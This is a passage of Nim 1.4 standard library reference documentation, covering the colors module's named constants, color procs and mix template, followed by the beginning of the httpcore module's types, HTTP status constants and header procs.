[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L236) ``` colMidnightBlue = 1644912 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L237) ``` colMintCream = 16121850 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L238) ``` colMistyRose = 16770273 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L239) ``` colMoccasin = 16770229 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L240) ``` colNavajoWhite = 16768685 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L241) ``` colNavy = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L242) ``` colOldLace = 16643558 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L243) ``` colOlive = 8421376 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L244) ``` colOliveDrab = 7048739 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L245) ``` colOrange = 16753920 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L246) ``` colOrangeRed = 16729344 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L247) ``` colOrchid = 14315734 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L248) ``` colPaleGoldenRod = 15657130 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L249) ``` colPaleGreen = 10025880 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L250) ``` colPaleTurquoise = 11529966 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L251) ``` colPaleVioletRed = 14184595 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L252) ``` colPapayaWhip = 16773077 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L253) ``` colPeachPuff = 16767673 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L254) ``` colPeru = 13468991 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L255) ``` colPink = 16761035 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L256) ``` colPlum = 14524637 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L257) ``` colPowderBlue = 11591910 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L258) ``` colPurple = 8388736 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L259) ``` colRed = 16711680 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L260) ``` colRosyBrown = 12357519 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L261) ``` colRoyalBlue = 4286945 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L262) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L262) ``` colSaddleBrown = 9127187 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L263) ``` colSalmon = 16416882 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L264) ``` colSandyBrown = 16032864 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L265) ``` colSeaGreen = 3050327 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L266) ``` colSeaShell = 16774638 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L267) ``` colSienna = 10506797 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L268) ``` colSilver = 12632256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L269) ``` colSkyBlue = 8900331 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L270) ``` colSlateBlue = 6970061 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L271) ``` colSlateGray = 7372944 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L272) ``` colSnow = 16775930 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L273) ``` colSpringGreen = 65407 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L274) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L274) ``` colSteelBlue = 4620980 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L275) ``` colTan = 13808780 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L276) ``` colTeal = 32896 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L277) ``` colThistle = 14204888 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L278) ``` colTomato = 16737095 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L279) ``` colTurquoise = 4251856 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L280) ``` colViolet = 15631086 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L281) ``` colWheat = 16113331 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L282) ``` colWhite = 16777215 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L283) ``` colWhiteSmoke = 16119285 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L284) ``` colYellow = 16776960 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L285) ``` colYellowGreen = 10145074 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L286) Procs ----- ``` proc `==`(a, b: Color): bool {...}{.borrow.} ``` Compares two colors. ``` var a = Color(0xff_00_ff) b = colFuchsia c = Color(0x00_ff_cc) assert a == b assert not a == c ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L17) ``` proc `+`(a, b: Color): Color {...}{.raises: [], tags: [].} ``` Adds two colors. This uses saturated arithmetic, so that each color component cannot overflow (255 is used as a maximum). **Example:** ``` var a = Color(0xaa_00_ff) b = Color(0x11_cc_cc) assert a + b == Color(0xbb_cc_ff) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L49) ``` proc `-`(a, b: Color): Color {...}{.raises: [], tags: [].} ``` Subtracts two colors. This uses saturated arithmetic, so that each color component cannot underflow (0 is used as a minimum). **Example:** ``` var a = Color(0xff_33_ff) b = Color(0x11_ff_cc) assert a - b == Color(0xee_00_33) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L63) ``` proc extractRGB(a: Color): tuple[r, g, b: range[0 .. 255]] {...}{.raises: [], tags: [].} ``` Extracts the red/green/blue components of the color `a`. **Example:** ``` var a = Color(0xff_00_ff) b = Color(0x00_ff_cc) type Col = range[0..255] # assert extractRGB(a) == (r: 255.Col, g: 0.Col, b: 255.Col) # assert extractRGB(b) == (r: 0.Col, g: 255.Col, b: 204.Col) echo extractRGB(a) echo typeof(extractRGB(a)) echo extractRGB(b) echo typeof(extractRGB(b)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L77) ``` proc intensity(a: Color; f: float): Color {...}{.raises: [], tags: [].} ``` Returns `a` with intensity `f`. `f` should be a float from 0.0 (completely dark) to 1.0 (full color intensity). **Example:** ``` var a = Color(0xff_00_ff) b = Color(0x00_42_cc) assert a.intensity(0.5) == Color(0x80_00_80) assert b.intensity(0.5) == Color(0x00_21_66) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L97) ``` proc `$`(c: Color): string {...}{.raises: [], tags: [].} ``` Converts a color into its textual representation. **Example:** ``` assert $colFuchsia == "#FF00FF" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L430) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L430) ``` proc parseColor(name: string): Color {...}{.raises: [ValueError], tags: [].} ``` Parses `name` to a color value. If no valid color could be parsed `ValueError` is raised. Case insensitive. **Example:** ``` var a = "silver" b = "#0179fc" c = "#zzmmtt" assert parseColor(a) == Color(0xc0_c0_c0) assert parseColor(b) == Color(0x01_79_fc) doAssertRaises(ValueError): discard parseColor(c) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L440) ``` proc isColor(name: string): bool {...}{.raises: [], tags: [].} ``` Returns true if `name` is a known color name or a hexadecimal color prefixed with `#`. Case insensitive. **Example:** ``` var a = "silver" b = "#0179fc" c = "#zzmmtt" assert a.isColor assert b.isColor assert not c.isColor ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L462) ``` proc rgb(r, g, b: range[0 .. 255]): Color {...}{.raises: [], tags: [].} ``` Constructs a color from RGB values. **Example:** ``` assert rgb(0, 255, 128) == Color(0x00_ff_80) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L483) Templates --------- ``` template mix(a, b: Color; fn: untyped): untyped ``` Uses `fn` to mix the colors `a` and `b`. `fn` is invoked for each component R, G, and B. If `fn`'s result is not in the `range[0..255]`, it will be saturated to be so. **Example:** ``` var a = Color(0x0a2814) b = Color(0x050a03) proc myMix(x, y: int): int = 2 * x - 3 * y assert mix(a, b, myMix) == Color(0x05_32_1f) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L116)
programming_docs
nim httpcore httpcore ======== Contains functionality shared between the `httpclient` and `asynchttpserver` modules. Unstable API. Imports ------- <tables>, <strutils>, <parseutils> Types ----- ``` HttpHeaders = ref object table*: TableRef[string, seq[string]] isTitleCase: bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L18) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L18) ``` HttpHeaderValues = distinct seq[string] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L22) ``` HttpCode = distinct range[0 .. 599] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L26) ``` HttpVersion = enum HttpVer11, HttpVer10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L28) ``` HttpMethod = enum HttpHead, ## Asks for the response identical to the one that would ## correspond to a GET request, but without the response ## body. HttpGet, ## Retrieves the specified resource. HttpPost, ## Submits data to be processed to the identified ## resource. The data is included in the body of the ## request. HttpPut, ## Uploads a representation of the specified resource. HttpDelete, ## Deletes the specified resource. HttpTrace, ## Echoes back the received request, so that a client ## can see what intermediate servers are adding or ## changing in the request. HttpOptions, ## Returns the HTTP methods that the server supports ## for specified address. HttpConnect, ## Converts the request connection to a transparent ## TCP/IP tunnel, usually used for proxies. HttpPatch ## Applies partial modifications to a resource. ``` the requested HttpMethod [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L32) Consts ------ ``` Http100 = 100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L53) ``` Http101 = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L54) ``` Http200 = 200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L55) ``` Http201 = 201 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L56) ``` Http202 = 202 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L57) ``` Http203 = 203 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L58) ``` Http204 = 204 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L59) ``` Http205 = 205 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L60) ``` Http206 = 206 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L61) ``` Http300 = 300 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L62) ``` Http301 = 301 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L63) ``` Http302 = 302 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L64) ``` Http303 = 303 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L65) ``` Http304 = 304 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L66) ``` Http305 = 305 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L67) ``` Http307 = 307 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L68) ``` Http308 = 308 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L69) ``` Http400 = 400 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L70) ``` Http401 = 401 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L71) ``` Http403 = 403 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L72) ``` Http404 = 404 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L73) ``` Http405 = 405 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L74) ``` Http406 = 406 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L75) ``` Http407 = 407 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L76) ``` Http408 = 408 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L77) ``` Http409 = 409 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L78) ``` Http410 = 410 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L79) ``` Http411 = 411 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L80) ``` Http412 = 412 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L81) ``` Http413 = 413 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L82) ``` Http414 = 414 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L83) ``` Http415 = 415 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L84) ``` Http416 = 416 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L85) ``` Http417 = 417 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L86) ``` Http418 = 418 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L87) ``` Http421 = 421 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L88) ``` Http422 = 422 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L89) ``` Http426 = 426 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L90) ``` Http428 = 428 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L91) ``` Http429 = 429 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L92) ``` Http431 = 431 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L93) ``` Http451 = 451 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L94) ``` Http500 = 500 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L95) ``` Http501 = 501 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L96) ``` Http502 = 502 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L97) ``` Http503 = 503 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L98) ``` Http504 = 504 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L99) ``` Http505 = 505 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L100) ``` httpNewLine = "\c\n" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L102) ``` headerLimit = 10000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L103) Procs ----- ``` proc clear(headers: HttpHeaders) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L142) ``` proc `[]=`(headers: HttpHeaders; key, value: string) {...}{.raises: [], tags: [].} ``` Sets the header entries associated with `key` to the specified value. Replaces any existing values. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L166) ``` proc `[]=`(headers: HttpHeaders; key: string; value: seq[string]) {...}{.raises: [], tags: [].} ``` Sets the header entries associated with `key` to the specified list of values. Replaces any existing values. If `value` is empty, deletes the header entries associated with `key`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L171) ``` proc add(headers: HttpHeaders; key, value: string) {...}{.raises: [KeyError], tags: [].} ``` Adds the specified value to the specified key. Appends to any existing values associated with the key. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L180) ``` proc del(headers: HttpHeaders; key: string) {...}{.raises: [], tags: [].} ``` Deletes the header entries associated with `key` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L188) ``` proc `==`(rawCode: string; code: HttpCode): bool {...}{. deprecated: "Deprecated since v1.2; use rawCode == $code instead", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.2; use rawCode == $code instead Compare the string form of the status code with a HttpCode **Note**: According to HTTP/1.1 specification, the reason phrase is optional and should be ignored by the client, making this proc only suitable for comparing the `HttpCode` against the string form of itself. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpcore.nim#L320) Funcs ----- ``` func newHttpHeaders(titleCase = false): HttpHeaders {...}{.raises: [], tags: [].} ``` Returns a new `HttpHeaders` object. if `titleCase` is set to true, headers are passed to the server in title case (e.g. "Content-Length") [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpcore.nim#L115) 